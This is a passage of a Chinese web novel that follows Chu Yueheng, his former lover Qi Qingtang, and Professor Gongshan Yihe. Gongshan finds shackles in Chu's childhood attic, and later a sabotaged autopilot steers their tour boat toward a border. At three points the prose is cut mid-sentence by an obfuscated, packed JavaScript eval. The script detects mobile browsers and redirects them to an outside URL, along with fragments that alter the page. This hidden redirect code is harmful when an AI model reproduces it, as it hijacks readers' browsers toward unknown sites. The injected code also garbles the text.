好在他从不遵守对戚清棠许下的诺言,如果感觉不对,他随时能反悔。 沉默在病房中弥漫,他们对视了一会儿,戚清棠没忍住又开始掉眼泪了。褚月恒试探着凑过去,想要拥抱一下。 他们抱在了一起,戚清棠的温度和触感和从前一样,褚月恒仿佛又回到了他们在小别墅相守的时光。 那时的不快乐和现在的绝望相比,不值一提。 “我明早给你带你喜欢的桃花酥当早饭。”褚月恒微微垂下眼睛,把戚清棠嵌入自己怀里,“我几点来合适?” “别了,我父亲还没走,他看见你该生气了。”戚清棠疲惫的闭上眼睛,不得不挫败的承认,褚月恒的拥抱令他感到安全。 “可是我想见你。”在研究所失控离开后,褚月恒的人生就空了,需要戚清棠填满。 褚月恒有点委屈的声线令戚清棠心软,但他还是不敢让父亲看见褚月恒:“父亲见到你一定会骂你,你别来了。” 褚月恒沉默了,他整个人散发着压抑的气息。 戚清棠又开始掉眼泪了,褚月恒总是这样,什么事不顺他心意了,他就无声的散发冷气,给人巨大的压迫感,令戚清棠恐惧:“你生气了吗?” “没有,我不会生你的气,我只是想你。”褚月恒开始盘算该怎么把碍事儿的戚砚琛弄走,或者让戚清棠早点回泊岳,回了泊岳,戚砚琛总不会寸步不离的守着儿子了吧。 “曾经你要是能有现在一半粘人,我们也不会走到这步。”戚清棠推开了褚月恒。 褚月恒不敢使劲儿和戚清棠抗衡,可怀抱空了后他又无比焦躁,就在他感到难以忍受,想要把戚清棠扯回怀里的时候,电话响了。 褚月恒原本不想接的,可鬼使神差的,他还是拿出手机看了眼来电显示,是公山易禾。 “月恒,文件我看完了,我简单做了个计划,和你们单位的人交代了。你上哪儿溜达去了?咱们该回去了,我看你没开车,要是我开车跑了,你可就回不去了。” 褚月恒卡顿了一下,这才从挽回戚清棠的主线任务中走出来,开始并行执行讨好公山易禾的支线任务:“我不回去了,你先走吧。” 他还得去给戚清棠买芝士蛋糕。 折腾着把蛋糕带回去陪着戚清棠吃完,打开手机一看,从定北城开往北宁的火车票果然卖完了。北地的列车在旅游淡季本就少,上午不抢票,下午就基本没戏了,除非抢凌晨的票。 褚月恒趁机装可怜:“怎么办,我无处可去,在你这儿打地铺好不好?” 戚清棠纠结了半天,说:“那你明早得早些走,不然我父亲来该看见你了。” 褚月恒笑眯眯的点点头,戚清棠第一次见他笑的那么甜,一时间又鬼迷心窍了,没几句话,褚月恒就从要打地铺变成了要爬他的床。 他们俩的身份颠倒,这次换成褚月恒为了爬戚清棠的床费尽心机了,戚清棠嘴上不说,心里却非常受用。 虽然心里觉得满足,但戚清棠依旧表现得很疏离,一副不愿意和褚月恒靠太近的样子。 褚月恒其实也不喜欢和戚清棠靠太近,过去那六个月,他最喜欢的就是戚清棠睡着的样子和跟他做双人瑜伽的样子,其他的他都不是很感兴趣。 他费尽心机爬上戚清棠的床,就是为了做双人瑜伽的。 现在,戚清棠离他远远地,没有想要配合的意思,褚月恒就是脸皮再厚也不好意思在这方面死皮赖脸的去强迫人家。 于是褚月恒一动不动的躺在床上,静默的等戚清棠睡着。等戚清棠的呼吸变得沉稳后,褚月恒悄悄掀开被子,准备订凌晨三点的火车票回小木屋。 白天的票卖光了,但凌晨的票还富余不少。 “别走!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271794|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚清棠在睡梦中感受到褚月恒要走,立刻像八爪鱼一样扑过来,抱住褚月恒的腰。 褚月恒看了眼时钟,已经一点半了。 凌晨的火车只有三点那一趟,他要是没赶上,今晚就真要被困在戚清棠床上了,这是万万不行的。 褚月恒小心翼翼的拎起戚清棠的胳膊,放到一边,然后再掀开被子! “别走!”戚清棠的声音带上了哭腔,又扑了过来,把褚月恒死死紧固在怀里,戚清棠呼吸的热气打在褚月恒的脖子上。 褚月恒烦躁的叹了口气,用手指把戚清棠的额头推远了一点。 又是这熟悉的烦躁感,那六个月的回忆又回来了,看来他是真的和戚清棠复合了,非常好。 褚月恒僵直的躺在床上,盯着天花板胡思乱想,从一点瞪眼到凌晨六点,终于解脱般的把戚清棠踹到一边,然后飞快的穿好衣服逃离了这间病房。 定北城人民夜生活丰富,但绝不会早起。 凌晨六点,街道荒无人烟,连全国连锁的24小时超市都关着门。 入乡随俗,定北人民不早起,那24小时超市也不在清晨开门,不愧是被旅游杂志评价为超绝松弛感的城市。 褚月恒拎着外套漫无目的在宽阔的街道乱晃,夜晚灯火辉煌的城市,沉寂在晨雾里,直到天色将明,远方澄澈的天空泛起清朗的绯色,美的不可思议。 上午九点,褚月恒回到小木屋。今天是休息日,他们不用下海,公山易禾刚晨跑回来,手里还拎着神女村买的蓝莓馅饼:“回来了,吃早饭了吗?” 褚月恒感觉自己像是从一个可怕的梦境中被叫醒,还有些懵懂:“没有。” “不知道这个合不合你口味。”公山易禾打开小木屋的门,递给褚月恒一杯蓝莓汁,“喜欢喝这个么?不喜欢的话,我还有牛奶。” “喜欢,谢谢你。”公山易禾的周到令褚月恒感到无措,公山易禾自己吃早饭的时候顺便分褚月恒一口,这个很正常。但像现在这样殷勤的专门为他准备饮料,就太过了吧? 想到公山易禾那一连串金光闪闪的头衔,再看他那优雅地一举一动,褚月恒有些坐立不安。 他们今天又不出海,公山易禾干嘛这么关心他吃什么早饭? “我自己来就行。”看到公山易禾还企图为他倒饮料,褚月恒连忙接过杯子,然后问,“你吃早饭了吗?” “吃了呀,我还去神女村玩了一圈呢。”公山易禾的笑容带着成熟娴雅的美丽,和他之前应酬式的微笑不太一样,似乎是更真实了些,“北地人起的是真晚,我八点到那儿,早餐铺子都没开门。” “八点,天还没亮呢。”褚月恒忍俊不禁,“都没开门,你去了怎么玩?” 褚月恒说完这句话,就发现公山易禾在他对面的椅子上坐下了,然后眼睛亮晶晶的看着他,仿佛看到了什么特别令人开心的东西,所以,他脸上是长钱了? “就随便逛了逛,那里没有北宁村有意思,商业气息太重了。” “是这样的。”褚月恒干巴巴的回应了一句,不太自在的低头吃饭。 “我们今天再去北宁村玩吧,我还想去。”公山易禾欢快的说,他还沉浸在褚月恒刚才那个一闪而逝的笑容里,第无数次被褚月恒的美色击中。 “好。”褚月恒有求必应。 15. 阁楼 中午是北宁村人的工作时间,他们匆忙吃完午饭就会都跑去打渔。但公山易禾没有要去村里围观村民打渔的意思,而是表示想去思明冰川上看看。 褚月恒挺纳闷的:“您不是说对人文方面更有兴趣?” “人文什么的,昨晚不是看了么,现在该看自然美景了。”公山易禾随口回应道,昨晚他就看出来了,这整个村里的人都不喜欢褚月恒,既然如此,他们还去那儿干嘛,给自己添堵吗? 冬日苍白的阳光洒落在万千大山,浮云流过被雪覆盖的松柏。褚月恒和公山易禾一起爬上这座熟悉的冰川,他抬起头,看到一望无际的蓝天和远处蓝宝石般的湖泊,这里是思明冰川,外人的禁地,北宁族的圣地。 公山易禾拍摄时的神情专注、虔诚,褚月恒坐在公山易禾身边,默默望着远方层峦叠嶂的雪山,汉白玉色的神女雕塑静静矗立在他们身后。 公山易禾拍摄完蓝宝石圣海后,又回头开始拍摄神女雕塑。这雕塑高大伟岸,目测有一米九往上,但她微微弯腰,展现了一个托举的姿势,褚月恒儿时就是在这个伟岸的怀抱里躲过暴风雪的。 “在这样的地方长大,是什么样的感觉?”公山易禾放下相机,眼睛亮晶晶的,在阳光下,看上去像是金色,美丽的灼人。 褚月恒轻笑了一下:“和生活在任何一个地方没什么两样的。” 公山易禾看着眼前盛大的景色,笑道:“是啊,在哪里生活,人类之间无非都是那些事。区别在于,你晚间散步时,可以提着灯和冰海约会,还有璀璨的星空作陪。在泊岳,想看到星星可难了,想得到片刻的宁静也难。” “那滋味没你描述的那么好。”褚月恒不想扫兴,没有再说下去。 “你天天守在这里,会不会有些无聊?”公山易禾放下相机,学着褚月恒的样子坐在雕像边的台阶上。 “不无聊。”褚月恒停顿了一下,然后说,“我的确每晚去海边散步……和冰海约会。” “今晚我们也去散步吧。”公山易禾兴致勃勃的说,似乎很期待。 “好。”说起散步,褚月恒也有些期待。半夜拎着煤油灯在冰海边游荡,是褚月恒儿时最快乐的记忆了,说起来,他也好久没这么做了,是有点怀念。 这点怀念很快就随风而散,儿时对在冰海边散步的喜爱,是基于极地冰海是自己的来处这个信念的,而现在,这个信念已经坍塌了。 公山易禾试探着问:“那我们可以留宿一晚吗?我带了睡袋,可以在冰川里休息,然后我们就可以看星空和极光了” 褚月恒想拒绝的,但触碰到公山易禾温柔的眼睛,他却无缘无故联想到了月亮。 其实和公山易禾一起在冰川里野营一晚上应该也挺有趣的,星星确实很美,看星星比躺在屋子里胡思乱想有意思多了。 “好,我父亲今晚去海上守夜,不在家,如果睡袋不够保暖,我们可以住我家。” “不用了,留宿本来就是为了欣赏星空的,住家里岂不是看不到了。”公山易禾可不想让褚月恒去面对那些村民,褚冰河不在家,但邻居们不是还在。 然而人算不如天算,这晴空万里的冰川,到了夜晚突然就下起了大雪。 公山易禾出发前查过天气预报,可惜天气预报不准。 就这样,褚月恒带着公山易禾回了家。深更半夜,村民们都睡了,没人会看到。 公山易禾看不清路,在雪地里走的磕磕绊绊,褚月恒不得不伸手拉住他,公山易禾炽热的体温让褚月恒浑身不自在。 “你邻居家还亮着灯!小心些!” 公山易禾趴在褚月恒耳边小声说话,褚月恒吓得弹开三米远。 公山易禾不禁失笑,他磕磕绊绊的走到褚月恒身边:“你干嘛反应这么大,我有那么可怕么?” 褚月恒有点尴尬的摇摇头表示公山易禾不可怕:“咱们到了,我开门。” 简陋的木屋和公山易禾昂贵的冰山鞋格格不入,公山易禾好奇的四处看,视线扫过墙面上挂着的猎枪和北极熊头,还有椅子上铺着北极熊皮毛。那皮毛雪白柔滑,一看就是上品。 趁着褚月恒忙着点燃壁炉的功夫,公山易禾想简单做点吃的,他找了一圈,都没找到厨房在哪儿。公山易禾把目光专向屋子角落里那个简陋的像梯子一样的小楼梯,难道厨房在二楼?这可不常见。 “月恒,家里的厨房在哪儿?我带了点小菜,煮进自热火锅里很香。” 褚月恒几年不生火了,本就家务能力极差的他更是雪上加霜,此时他正满头雾水的折腾壁炉里那堆柴火:“家里没厨房,您可以去仓库找找鱼油饼。” 公山易禾没生过火,所以也没去给褚月恒添乱,他开始四处溜达着找仓库。可仓库藏在暗门后面,他哪里找得到。 “难道在上面?”公山易禾小心的扶着那简陋的梯子往二楼爬,小心翼翼的推开二楼的小木门,迎面而来就是一堆厚重的灰尘。 “呸呸!”公山易禾吃了一嘴土,感觉自己已经饱了,抬起头看见里面堆着一堆杂物,颇为规整,他就认为自己已经找到库房了,“这库房多少年没人进来了?” 楼下的褚月恒专注于生火,没有回答他。 “好好好,没问题,找饼是吧。”公山易禾自我鼓励着爬进小阁楼,打开手机上自带的手电筒,看到阁楼中央的地板上铺着褥子,旁边还有个煤油灯。这阁楼很矮小,有个圆形的小窗子,丝丝缕缕的月光从那窗口流淌进来,正好落在褥子旁的书架上。 公山易禾疑惑的爬到书架旁边,看见上面密密麻麻的专业书,都是关于物理学和数学的,这些书看上去有些年头了,版本也比较旧,像是三四十年前买的。 “这里不会是……月恒小时候住的房间吧。”公山易禾眯起眼睛,思考了一会儿,还是决定不要随便在人家卧室闲逛。为了方便爬行,他把手机塞进了口袋里,阁楼里瞬间只剩下圆窗外透进来的那一点点月光。 公山易禾艰难的寻找着方向,忍不住在心里吐槽,就算是让小孩子住,这个阁楼也太过狭小了些,褚月恒的父亲可真粗心大意,这都能凑合,寻摸几个板材把阁楼盖大点也不费事儿吧。 摸黑瞎爬了几下,楼下传来褚月恒的声音:“公山教授?” “马上来!”公山易禾着急的蹲着往前迈了一步,脚边踢到了什么东西,发出了刺耳的金属碰撞声。 公山易禾停顿了一下,然后试探着又踢了一脚,又是这种声音,像是铁链子。 公山易禾吸了口气,拿出手机打开手电筒,然后发现自己完全爬错了方向,他现在在阁楼最深处的角落里,这里堆着两个满是锈迹的铁链子,链子的头上有两个脚镣。 公山易禾皱起眉头,拿起脚铐用手机的手电筒照着认真观察了起来。 “教授,您上楼了?”褚月恒站在楼下,敲了敲梯子。 公山易禾惊了一下,他犹豫了一会儿,还是悄悄放下了脚镣:“啊,我以为这儿是库房,结果发现只有书没有饼。” “快下来吧,上面很多灰。”褚月恒的声音透过天花板传进来,朦朦胧胧的。 “好,马上。”公山易禾已经熟悉了阁楼的布局,他敏捷的飞速爬下楼梯,把褚月恒吓了一跳。 “您慢点,手被楼梯划伤要去打破伤风的。” 公山易禾被褚月恒逗乐了:“倒是少见你讲这么多话。” 褚月恒微微笑了一下:“吃饭吧,我找到饼了,自热火锅也煮好了。” 褚月恒拿出湿巾递给公山易禾:“擦一下脸。” 公山易禾还在为阁楼上的事儿心神不宁,有些心不在焉的接过湿巾,擦脸时又忍不住去看褚月恒,昏黄的灯光下,褚月恒还是很好看,不光好看,还温柔体贴。 “您怎么不吃?”褚月恒疑惑了。 公山易禾干咳了一声:“忙着擦脸呢。” 褚月恒家里还用着颇为古老的煤油灯,让小木屋显得有些昏暗,壁炉燃烧的声音和屋外风雪呼啸的声音交织在一起,颇有意境。 如果这里只有公山易禾一人,那他大概不会喜欢这种简陋的条件。可有褚月恒这极地美人相伴,再联想到这是褚月恒生长的地方,他就开始觉得这里别有一番风味。 “月恒,我在阁楼里看到了铁链子,你们该不会在楼上养熊吧?” 褚月恒看了公山易禾一眼,似乎轻轻笑了一下,把公山易禾迷得心神摇曳。 “我们养的北极熊。”褚月恒一本正经的说。 “啊?那北极熊乐意呆在那么小的地方吗?”公山易禾假装相信了。 “白天会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271795|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放他们出去玩,也就晚上会把它们弄回来睡觉。”褚月恒配合着公山易禾瞎扯。 俩人都知道他们是在胡说八道,但公山易禾莫名觉得褚月恒变得更亲切了。与褚月恒不熟悉的人难免会害怕他,但相处之后这种恐惧就会随着了解而消减。 晚饭后,褚月恒睡他父亲的房间,公山易禾睡客房。公山易禾辗转反侧了一会儿,还是忍不住怀疑那锁链是用来锁小孩子的,那手铐很小,阁楼也很小,里面有书籍,这些书籍虽然旧,但看着被保护的很好。这些细节都透露着残酷的真相,公山易禾必须要弄清楚。 说干就干,公山易禾拿出手机给戚清棠发消息:休息了吗? 戚清棠白天睡饱了,晚上反倒是醒了:没睡,哥哥也没睡?最近工作很忙吗?怎么都不来看我。 忙着游山玩水的公山易禾心虚的回应:挺忙的,滑雪假都在加班。 戚清棠回应:倒是忘了北地有滑雪假了,他……从来不放滑雪假。 这真是来了瞌睡就送枕头,公山易禾正好想打听褚月恒的事儿,却不知该如何主动提起,现在戚清棠先提了,一切就顺理成章:看来褚月恒工作还挺努力的,同事都不在,只有他去工作,事情能进行下去吗? 戚清棠回应的很快:他有独立实验室,大部分时候他的工作都不需要和其他人打交道。 然后戚清棠又说:哥哥,老听我说他,你一定听腻了。 公山易禾赶忙说:怎么会呢,哥哥希望你能说出来,这样你能恢复的快些,想说就说,哥哥愿意听。 然后不等戚清棠回话,公山易禾就凭借飞快的手速开始拐弯抹角的套话:我还记得你说你去过褚月恒父亲家,但褚月恒拒绝和你一起回去,你只能一个人回去受罪,北宁村没有空调,你的身体没准就是那时候冻坏的。 戚清棠果然上钩了:北宁村太冷了,但褚月恒的父亲是个热心肠、淳朴的好人,他给我准备了客房,把壁炉烧的很暖,我一点也没受冻。 这个老人家也是可怜,他含辛茹苦的一个人把褚月恒拉扯大,褚月恒怎么就能那么冷漠,不愿意回去看一眼呢?褚月恒的工资其实挺高的,但他父亲还啃着生冷的鱼油饼,一把年纪还要天天出海打渔,落下一身风湿病。 我看着心里难受,给他钱他又不要,就偷偷把褚月恒送我的珠宝给他留下了。唉,我觉得网上有句话特别有道理,谈恋爱人品特别重要,褚月恒对自己父亲都这么冷心冷清,我又怎么能指望他对我好…… 戚清棠还在长篇大论的打字,公山易禾却陷入了沉思,犹豫了一会儿,他试探着问:你把珠宝留在哪儿了?他父亲不会找不到吧,那可就白留下了。我在书上看到,北宁族人的屋子里有库房和阁楼,如果你留在阁楼里了,那可不容易发现。 戚清棠疑惑道:阁楼?我好像确实看到有个梯子,但我没上去过,我留在他父亲的北极熊标本里了,应该能发现的。 公山易禾还不死心,继续试探:要是我,会留在褚月恒的卧室里,这样他父亲想他的时候,就会发现了。 发完这句话后,那边久久没有回应。 公山易禾翻了个身,执着的盯着手机。 戚清棠终于回了:这么一说,我好像没见过褚月恒的卧室,他们家只有一个主卧一个客房,客房平时是褚月恒的堂弟在住,我看他一个大小伙子天天在村里受罪太可怜了,就给他在定北城买了套房子。褚月恒的堂弟也是善良的好孩子,就是有些可怜,从小爹不疼娘不爱,还因为吃不到好东西有营养不良的毛病。他特别崇拜褚月恒,但褚月恒从小就嫌弃他,不愿意带他玩。我能想象到那画面,褚月恒肯定对谁都是冷冰冰的。 想到定北城的房价,公山易禾还是忍住了,没有说自己弟弟人傻钱多:那是不是有点奇怪,褚月恒家怎么会没有他的房间? 戚清棠不太感兴趣的回答:不知道。 然后又开始滔滔不绝的讲褚月恒的不近人情、冷漠自私。讲了一会儿后,戚清棠沉默了两分钟。 就在公山易禾准备说晚安的时候,戚清棠又说:但是他就是有那种魔力,让所有人都为他着迷,他堂弟也是,他父亲也是,我也是,都无可救药的需要他。 公山易禾愣住了,半晌后,他回复了一句:是需要他本人,还是你想象中的他呢? 16. 浮冰 公山易禾发出这句话后就后悔了,他说这话显得是要责备戚清棠一样,戚清棠都躺在病床上了,说这些还有什么意义? 但戚清棠似乎没听出这里面有什么责备的意思,还自怜的回应:是啊,我以为他是个善良但有些孤独的冰雪王子,是我想多了。 这话,话里话外是对褚月恒没有满足他幻想的失望和责备。 公山易禾盯着手机无语了一会儿,突然就不想回复了,直接把手机关掉睡觉了。 公山易禾知道自己应该教导自己年幼无知的弟弟,避免他将来重蹈覆辙。可现在他有点生气,暂时不想和弟弟说话。 第二天一早,褚月恒罕见的赖床了。 也许是因为最近这些天他没什么起床的理由,所以在不失眠的日子里,他的生物钟失去了作用。 “月恒,起床了。” 空气中飘荡着黄油的香气,公山易禾温柔的声线就像柔滑的大提琴,滑进褚月恒的耳朵里,埋藏在褚月恒潜意识里那股子不想睁开眼睛的情绪瞬间被春风吹散。 日上三竿,阳光透过稻草做的窗帘照进来,褚月恒有些惊讶:“几点了?” “十点了哦。”公山易禾伸手帮褚月恒理了理乱发,又意识到这个动作有点不合适,把手不着痕迹的背到身后,“我找邻居买了些面包和黄油,希望你喜欢。” “谢谢你。”褚月恒飞快的洗漱吃饭,他父亲中午会回家,他可不想和褚冰河碰面。 “你似乎睡得不错。”褚月恒吃饭的时候,公山易禾就在旁边认真的打量着褚月恒,他发现褚月恒更加光彩照人了。 他第一天见到褚月恒时,褚月恒是一副惨白的状态,这个状态和传统北宁族人非常相似,公山易禾没感觉有什么不对劲儿。 可今天褚月恒的皮肤散发出一种健康柔和的光泽来,看上去比之前精神多了。 也对,冰海神女迁徙到北地前在中纬度的丛林中活动,她的皮肤一定有对抗太阳的能力,不可能是惨白的。褚月恒像神女,也有玉石一样漂亮的皮肤。 公山易禾是这么想的,也是这么说的。 褚月恒听到这话,心理感受有些复杂:“您是想说我长成这样是因为返祖了吗?” “返祖现象是很正常的生物现象,”公山易禾看向褚月恒,“而且我个人揣测,生活在森林的神女应该非常擅长泛化思维和逻辑思考,森林里环境复杂多变,没有高度活跃的大脑是很难活下去的。” “所以你认定神女就是一个生活在上古的人类,而不是一个神。”褚月恒平静的说,可他心里并不平静。自己和神女很像,但神女并不是神,她也只是一个平凡的人。这个认知让褚月恒不知道自己是该高兴还是失望。 也许他不该再继续纠结这个问题了,早在戚清棠离开的那天他就决定放下无意义的幻想,如今又怎么能因为公山易禾的几句话反悔呢? “我相信在科学不能触及的地方存在着更伟大的真理,”公山易禾斟酌了一下用词,然后谨慎的说,“我也相信冰海神女,我相信她就像夏国的炎帝和黄帝,她是北国人族的祖先。” 褚月恒默默啃掉最后一个鱼油小饼,没有再接话。 “你上次回家,是来看你父亲的吗?” 公山易禾转移了话题。 褚月恒表面淡定但内心慌乱,想到他那些还没送出去的礼物,他有点不好意思:“来仓库拿点东西。” “说起仓库,我昨天找了半天都没找到在哪儿……” 褚月恒立刻说:“是我不对,仓库在暗门里,我应该带您去的。” “暗门?” 公山易禾说话的语调上扬,褚月恒猜测他是被吓到了,于是解释:“就是没有门把手的门,仓库的门比较简陋,和墙是一个颜色,还没有把手,所以我们叫它暗门,并不是真的做了个机关的意思。” “这样啊。”公山易禾松了口气,但想到他昨晚发现的脚镣,他这口气又提起来了,如果这脚镣是用来锁小褚月恒的,那他真的会生气。 不过根据他观察得到的结果,真相八九不离十。 “月恒,你为什么会选择去定北大学念书?你们北宁族不都是与世隔绝的吗?” 褚月恒抿了一下嘴,公山易禾能看出他有点不高兴了。 褚月恒不习惯和人分享自己的过往,但看在公山易禾是他试验对象的面子上,他还是忍着不快回答:“也会有人想出去,要走的话,没人会拦着。” 回答完后,褚月恒飞快的转移了话题。 “您还想去哪儿玩?”褚月恒带着公山易禾走到停车场,不想留在这里的意思很明显。 公山易禾从善如流的说:“有个旅游项目可以在船上观赏鲸鱼越海、海鸟飞翔,我打算去玩那个。” “您预约了么?”褚月恒带戚清棠玩过这个,他们当时正赶上假期,提前三天预约都差点抢不到票。 “约了,给他们老板打电话包了条船,一起来玩吧。”公山易禾笑眯眯的摇了摇手机。 公山易禾包的是小型探险帆船,上面满打满算只能做十来个人,适合在各种复杂的地带穿梭,所以他们的游玩项目还包括欣赏冰川。 船员飞快的往冰川区飞驰,两岸瑰丽伟岸的冰山时不时发出渗人的轰鸣声,自然的力量令人震撼。 公山易禾隐约看见前方有座山形状若女仙,美的不可思议:“大哥,咱们去那边看看吧。” 船员往那个方向瞥了眼:“那边可不敢去,就算是夏季,那边的浮冰群也厉害得很,能把船困住嘞。” 公山易禾只能放弃这个想法,从自己背包里掏出他那最新型号的相机,对着仙女冰川咔嚓咔嚓的拍照。 船员热情的服务:“您要是需要和冰川合照,我们也可以帮您拍。” 褚月恒百无聊赖的听他们闲聊,不懂这大冰块子、小冰砣子有什么好特别去看的。 无聊的褚月恒溜达进驾驶舱,往副驾驶宽阔的沙发椅上一靠,盯着屏幕上的航向辅助导航系统发呆。 这系统的设计他有参与过,所以对他们这个旅游项目的行驶路线非常熟悉。近年来极地冰海旅游区在推进智能化旅游,目的是为了通过智能手段保障游客们的安全。 他设计的这个导航系统包含自动驾驶功能、冰区航线优化、禁区限制等功能,能帮助船只避开冰层,还能严格限制船只驶入被纳入危险区域的水域。 极地冰海情况特殊,海底的浮冰群每天都在变化,所以这系统是需要有人长时间监测、维护的。原本褚月恒除了设计潜水器外,还兼顾这个事儿,不过自从戚清棠离开后,他就扔下了旅游项目这一摊子事儿,去不去上班都凭借心情。 褚月恒盯着屏幕上乱七八糟的数据发呆,想着自己已经处于半罢工状态好几天了,想必极地旅游区智能系统的后期维护已经交给其他人。他才离开短短几天,这系统连界面都换了。 褚月恒盯着这变扭的界面看了半天,感觉自己强迫症要犯了。不知是谁顶替了他的位置,居然不讲究对称美学,这乱七八糟的操作按钮设计的毫无逻辑可言,真是污染他的眼睛。 褚月恒虽然失去了工作热情,但是对挑刺的热情还在,他忍不住用权限调出代码看了两眼,又看了看各项参数,越看就越不对劲儿。 驾驶舱外面,公山易禾还在和船员们聊天。 “大哥,你不是说咱们不能到仙女冰川那边吗?我怎么觉得咱们离那儿越来越近了。”公山易禾纳闷的问。 船员没当回事儿:“这冰海禁区一天一变,谁知道呢。这两年他们在搞什么智能旅游系统,说让我们尽量不要手动操作,都使用自动驾驶。极地冰海研究所全天监视冰海状况和冰海上每条船只的状况,由他们负责操控旅游船只。” 另一个船员搭腔道:“一开始我们还有点担心,不过这都两年过去了,确实没出过什么事儿,比以前手动驾驶时安全多了,因为这个智能系统,敢来我们这儿旅游的人也多了,这两年我们赚了不少钱。” “那我也算是赶上了好时候了。”公山易禾没多想,依旧开朗的拿着望远镜欣赏迎面而来的仙女冰川。 船员继续闲聊:“不过前两天,自动驾驶系统的界面突然变了。我听说之前负责这事儿的褚总走了,现在换上来一个年轻的杨总,他说要把界面游戏化,这样大家操作的时候更有趣,新手船员也更容易上手。” 公山易禾饶有兴趣的说:“那你们感觉这种界面好用么?” “不光好用,还好玩呢,以前那款太板正了,而且好多功能用词都很高深,我们培训了一个月才会用,现在这个系统,他们新来的船员两天就会玩了。” 驾驶室里的褚月恒脸都黑了,他不认为是自己的问题,只觉得船员们没品味。 就在褚月恒暗暗不爽的时候,公山易禾笑眯眯的钻进驾驶室:“他们说的褚总就是你吧?” “没错,板正又难用的那个褚总。”褚月恒的语气波澜不惊,眼睛还在盯着屏幕上奇怪的参数。 “为什么不出来和我们一起玩?老盯着屏幕,小心眼睛近视。”公山易禾站在褚月恒椅子背后,亲昵的把手搭在褚月恒肩膀上,就像褚月恒上学时看到那些关系好的同学们勾肩搭背的那样。 “这些参数有些奇怪。”褚月恒盯着满屏密密麻麻的经纬度数据,总感觉这堆数据里有些不合群的存在。 公山易禾震惊的看着屏幕上上千条飞速闪过的数据:“你是怎么从这一堆里看出奇怪的?我都看不清闪过去了什么。” “我也看不清,但就感觉有些不规律的东西。”褚月恒皱起眉头,完美主义的病又犯了,不把那一点令他不适的东西找出来,他就没法安心出去玩。 当然,他本来对看大冰块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271796|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小冰块在水上飘来飘去这种活动,也没什么兴趣。 公山易禾拉过一把椅子陪着褚月恒坐下,却帮不上什么忙,他是搞生物的理学家,对这种工程师的事情不太懂。他只是觉得褚月恒在这间没开灯的驾驶舱内,直勾勾的盯着布满密密麻麻数据的黑色屏幕看,挺有意思的。 尤其那漆黑的眸子,怎么就那么带劲儿呢?公山易禾说不清那双眼睛中怎样的特质吸引了他,叫他怎么也看不够。 “你去玩吧,不用陪我。”褚月恒突然说。 “在这儿看着你也挺有意思的。”公山易禾小声念叨了一句,没敢让褚月恒听到,“对了,刚才船员和我说,仙女冰川那块水很深,温度低,一直是浮冰聚集区,旅游船无法驶入,今天旅游船却开进去了。你觉得不对劲儿,会不会和这件事有关系?” 褚月恒连忙调出今天的禁区数据查看,仙女冰川区域位列第一:“糟了。” 公山易禾也吸了口冷气,然后不紧不慢的说:“你联系研究所吧,我去叫船员大哥进来手动开船。” 船员们慌张的调转船头,可这船已经被智能系统操控,头也不回的往禁区冲。 褚月恒很快联系上了新上任的负责人杨铎,然而杨铎那边也控制不了这条船。 褚月恒皱着眉头飞快的过了一遍底层代码,粗看一遍就发现几十处改动:“这船被一个拥有很高权限和技术水平的人改动过,现在谁也控制不了它。这些天,有没有什么可疑的人上船?” 船员皱着眉头想了一会儿,说:“昨天我们接待了一批外国人,送他们下船的时候,有个人迟迟不下来,说是晕船,在厕所里吐了半个小时。那期间我们都不在船上,所以他到底是不是在厕所里,我们都不知道。” 公山易禾一直盯着电子航海图,他突然说:“这船要去边境线。” 船员惊恐的说:“要是真跨过去我们就完蛋了!至少会被拘留的!而且边境线那块区域水非常深、常有风暴,非常危险,我们这只是条旅游船,破冰设施和防护设施都对抗不了那些坚硬的浮冰和极端天气!” “别慌,”公山易禾把自己坐的椅子推到船员身边让他们坐下,“你们两个负责手动改变船只方向,做所有你们能做的。月恒,你来改代码。” 两位船员用尽浑身解数折腾起来,最后连公山易禾都和他们一起掰离合器,才勉强和机器的力量抗衡,船头一点点的偏移,终于不是直直朝边境线冲了。 然而,一些不妙的声音从船底响起,刺耳的巨响令人心生恐惧。 正面无表情改代码的褚月恒瞥了屏幕一眼,没什么情绪的陈述:“你们撞浮冰了,往西走走。” 用力到面目狰狞的公山易禾和船员们:“……” 公山易禾无奈地说:“这不是我们能控制的,现在我们只能尽量保证不冲到边境线,别的顾不上了。” “嗯。”褚月恒表示他知道了,然后又继续面无表情的改代码。 船员忍不住问:“褚总,您还要多久?” “五分钟。” 褚月恒自信到冷酷的态度奇迹般的安抚了公山易禾心中的不安,至于两位船员,他俩还是觉得公山易禾更能安抚他们的不安。 